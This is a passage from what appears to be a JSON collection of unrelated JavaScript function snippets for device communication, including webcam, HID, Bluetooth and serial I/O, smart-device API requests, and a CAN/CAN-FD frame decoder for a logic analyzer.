.getUserMedia(constraints)\\n .then((stream) => {\\n this.stream = stream;\\n this.emit('stream', stream);\\n })\\n .catch((err) => {\\n if (err instanceof DOMException) {\\n alert('Cannot open webcam and/or microphone');\\n } else {\\n console.log(err);\\n }\\n });\\n }, 3000)\\n\\n return this;\\n }\",\n \"function _htob (hex) {\\n if (hex) {\\n if (typeof hex !== 'string') {\\n throw new TypeError('Expected input to be a string')\\n }\\n\\n if ((hex.length % 2) !== 0) {\\n throw new RangeError('Expected string to be an even number of characters')\\n }\\n\\n var view = new Uint8Array(hex.length / 2)\\n\\n for (var i = 0; i < hex.length; i += 2) {\\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\\n }\\n\\n return view\\n } else {\\n return null;\\n }\\n}\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"function getDeviceCapability()\\r\\n{\\r\\n\\txrxDeviceConfigGetDeviceCapabilities( \\\"http://127.0.0.1\\\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\\r\\n}\",\n \"getStatus() {\\n return new Promise((resolve, reject) => {\\n // send hex code for getting the status of power,rgb,warm\\n send(this.ip, hexToArray(\\\"81:8a:8b:96\\\"), (data, err) => {\\n if (err)\\n reject(err)\\n else {\\n if(data) {\\n const status = [];\\n for(let i = 0; i < data.length; i+=2){\\n status.push(data[i].concat(data[i+1]))\\n }\\n const power = status[2] === \\\"23\\\" ? \\\"on\\\" : \\\"off\\\"\\n \\n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\\n \\n const warm = parseInt(status[9], 16)\\n const out = {\\\"power\\\" : power, \\\"rgb\\\" : rgb, \\\"warm\\\" : warm}\\n resolve(out)\\n }\\n }\\n });\\n })\\n }\",\n \"getDeviceID(): Promise {\\n return HyperTrack.getDeviceID();\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function read(){\\n\\t\\t\\t\\n\\t\\t\\tvar deferred = $q.defer();\\n\\t\\t\\tserial.read(\\n\\t\\t\\t\\tfunction success(data){\\n\\t\\t\\t\\t\\tvar byteArray = new Uint8Array(data);\\n\\t\\t\\t\\t\\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tfunction error(){\\n\\t\\t\\t\\t\\tdeferred.reject(new Error());\\n\\t\\t\\t\\t}\\n\\t\\t\\t);\\n\\t\\t\\t\\n\\t\\t\\treturn deferred.promise;\\n\\t\\t\\t\\n\\t\\t}\",\n \"function getCCDA(url,uid,callback){\\n var options = {\\n host: api_domain,\\n path: url+'?api_key='+api_key+'&uid='+uid,\\n port: api_port\\n}\\n//Get the bindaas api\\nvar request = http.request(options, function (res) {\\n var data = '';\\n res.on('data', function (chunk) {\\n data += chunk;\\n });\\n res.on('end', function () {\\n callback(data);\\n });\\n });\\n request.on('error', function (e) {\\n console.log(e.message);\\n console.log(\\\"please check that your bindaas API is succesfully set up\\\");\\n });\\n request.end();\\n}\",\n \"readHydrawiseStatus(){\\n const cmd = hydrawise_url_status + \\\"api_key=\\\" + this.config.hydrawise_apikey;\\n\\n // execute only if apikey is defined in config page\\n if (this.config.hydrawise_apikey!=undefined){\\n this.log.info(\\\"send: \\\"+cmd);\\n //request(cmd, function (error, response, body){\\n request(cmd, (error, response, body) => {\\n\\n if (!error && response.statusCode == 200) {\\n // parse JSON response from Hydrawise controller\\n var obj = JSON.parse(body);\\n // read device config\\n hc6.nextpoll = parseInt(obj.nextpoll);\\n hc6.time = parseInt(obj.time);\\n hc6.message = obj.message;\\n this.log.info(\\\"nextpoll=\\\"+hc6.nextpoll+\\\" time=\\\"+hc6.time+\\\" message=\\\"+hc6.message);\\n \\n // read all configured sensors\\n for (let i=0; i<=1; i++){\\n // if sensor is configured\\n if (obj.sensors[i]!=null){\\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\\n // read all related relays\\n for (let j=0; j<=5; j++){\\n // if relay is configured\\n if (obj.sensors[i].relays[j]!=null){\\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\\n }\\n };\\n }\\n this.log.info(\\\"sensor\\\"+i+\\\": input=\\\"+hc6.sensors[i].input+\\\" type=\\\"+hc6.sensors[i].type+\\n \\\" mode=\\\"+hc6.sensors[i].mode+ \\\" timer=\\\"+hc6.sensors[i].timer+\\\" offtimer=\\\"+hc6.sensors[i].offtimer+\\n \\\" relay0=\\\"+hc6.sensors[i].relays[0]+\\\" relay1=\\\"+hc6.sensors[i].relays[1]+\\\" relay2=\\\"+hc6.sensors[i].relays[2]+\\n \\\" relay3=\\\"+hc6.sensors[i].relays[3]+\\\" relay4=\\\"+hc6.sensors[i].relays[4]+\\\" relay5=\\\"+hc6.sensors[i].relays[5]);\\n }\\n\\n // read all configured relays\\n for (let i=0; i<=5; i++){\\n if (obj.relays[i]!=null){\\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\\n hc6.relays[i].name = obj.relays[i].name;\\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\\n hc6.relays[i].type = parseInt(obj.relays[i].type);\\n hc6.relays[i].time = parseInt(obj.relays[i].time);\\n hc6.relays[i].run = parseInt(obj.relays[i].run);\\n hc6.relays[i].period = parseInt(obj.relays[i].period);\\n hc6.relays[i].timestr = obj.relays[i].timestr;\\n }\\n else{\\n hc6.relays[i].relay_id = 0;\\n hc6.relays[i].name = \\\"\\\";\\n hc6.relays[i].relay = 0;\\n hc6.relays[i].type = 0;\\n hc6.relays[i].time = 0;\\n hc6.relays[i].run = 0;\\n hc6.relays[i].period = 0;\\n hc6.relays[i].timestr = \\\"\\\";\\n }\\n this.log.info(\\\"relay\\\"+i+\\\": relay_id=\\\"+hc6.relays[i].relay_id+\\\" name=\\\"+hc6.relays[i].name+\\n \\\" relay=\\\"+hc6.relays[i].relay+\\\" type=\\\"+hc6.relays[i].type+\\\" time=\\\"+hc6.relays[i].time+\\n \\\" run=\\\"+hc6.relays[i].run+\\\" period=\\\"+hc6.relays[i].period+\\\" timestr=\\\"+hc6.relays[i].timestr);\\n }\\n }\\n })\\n }\\n }\",\n \"function getBufferRequest(opt, callback){\\n\\n\\topt.host = \\\"cloud.cadexchanger.com\\\";\\n\\topt.protocol = \\\"https:\\\";\\n\\topt.path = \\\"/api/v1\\\" + opt.path;\\n\\n\\tconst tmpFile = fs.createWriteStream(\\\"tmp.file\\\");\\n\\tconst req = https.get(opt, (res) => {\\n\\t\\tres.pipe(tmpFile);\\n\\n\\t\\ttmpFile.on('finish', () => {\\n\\t\\t\\t//tmpFile.close();\\n\\t\\t\\tcallback(fs.readFileSync(\\\"tmp.file\\\"));\\n\\t\\t\\tfs.unlink(\\\"tmp.file\\\", ()=>{});\\n\\t\\t});\\n\\t});\\n}\",\n \"function readSerialData(data) {\\n console.log(data.toString());\\n sendit({method: 'data', data: data.toString()});\\n}\",\n \"function getDevicePromise(device) {\\n return fetch(\\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\\n )\\n .then(res => res.text())\\n .then(text => {\\n return text;\\n })\\n .then(parseDeviceIndex);\\n}\",\n \"function decode()\\n{\\n\\tget_ui_vals();\\n\\n\\n\\tif (typeof hex_opt === 'undefined')\\n\\t{\\n\\t\\thex_opt = 0;\\n\\t}\\n\\n\\n\\n\\tif (rate == 0)\\n\\t{\\n\\t\\treturn;\\n\\t}\\n\\n\\tspb = sample_rate / rate; \\t\\t// Calculate the number of Samples Per Bit.\\n\\n\\ttry\\n\\t{\\n\\t\\tspb_hs = sample_rate / high_rate;\\n\\t}\\n\\tcatch(e)\\n\\t{\\n\\t\\tspb_hs = sample_rate / 2000000;\\n\\t}\\n\\n\\tm = spb / 10; \\t\\t\\t\\t\\t// Margin = 1 tenth of a bit time (expresed in number of samples)\\n\\tm_hs = spb_hs / 10;\\n\\n\\tvar t = trs_get_first(ch);\\n\\n\\tchannel_color = get_ch_light_color(ch);\\n\\n\\twhile (trs_is_not_last(ch) && (stop == false))\\n\\t{\\n\\t if (abort_requested() == true)\\t\\t// Allow the user to abort this script\\n\\t\\t{\\n\\t\\t\\treturn false;\\n\\t\\t}\\n\\n\\t\\tswitch (state)\\n\\t\\t{\\n\\t\\t\\tcase GET_SOF:\\n\\n\\t\\t\\t\\twhile ((t.val != 0) && trs_is_not_last(ch))\\t\\t// Search for SOF\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_get_next(ch);\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\ts = t.sample + (spb * 0.5); \\t\\t// Position our reader on the middle of first bit\\n\\n\\t\\t\\t\\tbit_sampler_ini(ch,spb /2, spb); \\t// Initialize the bit sampler (to be able tu use \\\"bit_sampler_next()\\\")\\n\\t\\t\\t\\tbit_sampler_next(ch); \\t\\t\\t\\t// Read and skip the start bit\\n\\n\\t\\t\\t\\tdec_item_new(ch,t.sample,t.sample + spb - m); \\t// Add the start bit item\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start of Frame\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"Start\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"SOF\\\");\\n\\t\\t\\t\\tdec_item_add_pre_text(\\\"S\\\");\\n\\n\\t\\t\\t\\tpkt_start(\\\"CAN\\\");\\n\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"SOF\\\", \\\"\\\", dark_colors.blue, channel_color);\\n\\n\\t\\t\\t\\tbits = [];\\n\\t\\t\\t\\trb = 0;\\n\\t\\t\\t\\tframe_length_in_sample = 0;\\n\\t\\t\\t\\tb = 0; sb = 0;\\n\\t\\t\\t\\tbit_pos = [];\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tdata_size = 0;\\n\\t\\t\\t\\tbits.push(0); \\t\\t// Add the start bit to the bits table\\n\\t\\t\\t\\tbit_pos.push(s); \\t// Add its position\\n\\t\\t\\t\\tb++;\\n\\t\\t\\t\\trb++;\\n\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\t\\t\\t\\tlast_bit = 0;\\n\\t\\t\\t\\tstate = GET_ID;\\n\\t\\t\\t\\trtr_mode = false;\\n\\t\\t\\t\\tide_mode = false;\\n\\t\\t\\t\\tedl_mode = false;\\n\\t\\t\\t\\tpotential_overload = true; \\t// This *may* be the beginning of an overload frame\\n\\n\\t\\t\\tbreak;\\n\\n\\t\\t\\tcase GET_ID:\\n\\n\\t\\t\\t\\twhile (true) \\t// Read bits until we break\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tif (abort_requested() == true)\\t// Allow the user to abort this script\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\treturn false;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \\t// use High speed since now\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (sb == 4)\\n\\t\\t\\t\\t\\t{\\n\\n\\t\\t\\t\\t\\t\\tstuffing_ok = check_stuffing();\\t\\t// Stuffed bit\\n\\t\\t\\t\\t\\t\\tif (stuffing_ok == false) break; \\t// Break on the first stuffing error\\n\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbits[b] = bit_sampler_next(ch);\\t\\t// Regular bit\\n\\t\\t\\t\\t\\t\\tif( (last_bit == 1)&&(bits[b] == 0) )\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb_hs/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\ttrs_tmp = trs_get_prev(ch);\\n\\t\\t\\t\\t\\t\\t\\t\\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_pos.push(trs_tmp.sample + spb/2); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_ini(ch,spb / 2, spb);\\n\\t\\t\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbit_pos.push(s + frame_length_in_sample); \\t\\t// Store the position of that bit\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (bits[b] == last_bit)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb++;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tsb = 0;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tlast_bit = bits[b];\\n\\t\\t\\t\\t\\t\\tb++;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\trb++;\\n\\t\\t\\t\\t\\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb;\\n\\n\\n\\t\\t\\t\\t\\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tbit_sampler_next(ch);\\n\\t\\t\\t\\t\\t\\tframe_length_in_sample += spb_hs;\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif ((b == 14) && (bits[13] == 1))\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tide_mode = true;\\n\\t\\t\\t\\t\\t\\trtr_mode = false; \\t// Reset rtr, will be checked at bit 32\\n\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\tif (ide_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 33) && (bits[32] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 34) && (bits[33] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((b == 13) && (bits[12] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\trtr_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tif ((b == 15) && (bits[14] == 1))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tedl_mode = true;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 41))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 22))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == true) && (b == 39))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif ((ide_mode == false) && (b == 19))\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif (stuffing_ok == false)\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\\n\\t\\t\\t\\t\\tset_progress(100 * t.sample / n_samples);\\n\\t\\t\\t\\t\\tstate = GET_SOF;\\n\\t\\t\\t\\t\\tbreak;\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif(edl_mode) //if it's CAN-FD\\n\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t// Check if we are in normal or extended ID mode\\n\\t\\t\\t\\t\\tif (ide_mode == false)\\t \\t// Normal frame\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\t\\t\\t\\t// Calculate the value of the ID\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \\t\\t// Add the ID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ID\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = (val >> 8);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t\\ttmp_val = (val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"ID\\\", int_to_str_hex(val), dark_colors.green, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \\t// Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif (rtr_mode == true)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"RTR\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"R\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 1\\\", \\\"RTR FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA FRAME\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA\\\");\\n\\t\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"D\\\");\\n\\t\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"RTR = 0\\\", \\\"DATA FRAME\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME FORMAT\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE FRAME\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BASE\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"B\\\");\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"IDE = 0\\\",\\\"BASE FRAME FORMAT\\\", dark_colors.green, channel_color, true);\\n\\t\\t\\t\\t\\t\\tpkt_end();\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Extended Data Length\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EDL\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"r0\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Bit Rate Switch\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"BRS\\\");\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"Error State Indicator)\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"ESI\\\");\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 18; c < 22; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdata_size = val;\\n\\n\\t\\t\\t\\t\\t\\tif(edl_mode)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tswitch (val)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tcase 0x9 : data_size = 12; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xA : data_size = 16; crc_len=17; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xB : data_size = 20; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xC : data_size = 24; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xD : data_size = 32; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xE : data_size = 48; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tcase 0xF : data_size = 64; crc_len=21; break;\\n\\t\\t\\t\\t\\t\\t\\tdefault : break;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tif(!edl_mode)\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \\t// Add the DLC item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH CODE: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LENGTH: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DATA LEN: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"DLC: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"L:\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 1)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, val);\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"DLC\\\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\tval = 0;\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 1; c < 12; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tfor (c = 14; c < 32; c++)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tval = (val * 2) + bits[c];\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \\t// Add the EID item\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EXTENDED IDENTIFIER: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_pre_text(\\\"EID: \\\");\\n\\t\\t\\t\\t\\t\\tdec_item_add_data(val);\\n\\n\\t\\t\\t\\t\\t\\tif (hex_opt > 0)\\n\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\tvar tmp_val = val;\\n\\n\\t\\t\\t\\t\\t\\t\\tfor (var i = 0; i < 4; i++)\\n\\t\\t\\t\\t\\t\\t\\t{\\n\\t\\t\\t\\t\\t\\t\\t\\tvar tmp_byte = (tmp_val & 0xFF);\\n\\t\\t\\t\\t\\t\\t\\t\\thex_add_byte(ch, -1, -1, tmp_byte);\\n\\t\\t\\t\\t\\t\\t\\t\\ttmp_val = (tmp_val - tmp_byte) / 256;\\n\\t\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t\\t\\tpkt_add_item(-1, -1, \\\"EID\\\", int_to_str_hex(val), dark_colors.violet, channel_color);\\n\\t\\t\\t\\t\\t\\tpkt_start(\\\"Frame Type\\\");\\n\\t\\t\\t\\t\\t\\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\\n\\n\\t\\t\\t\\t\\t\\tif 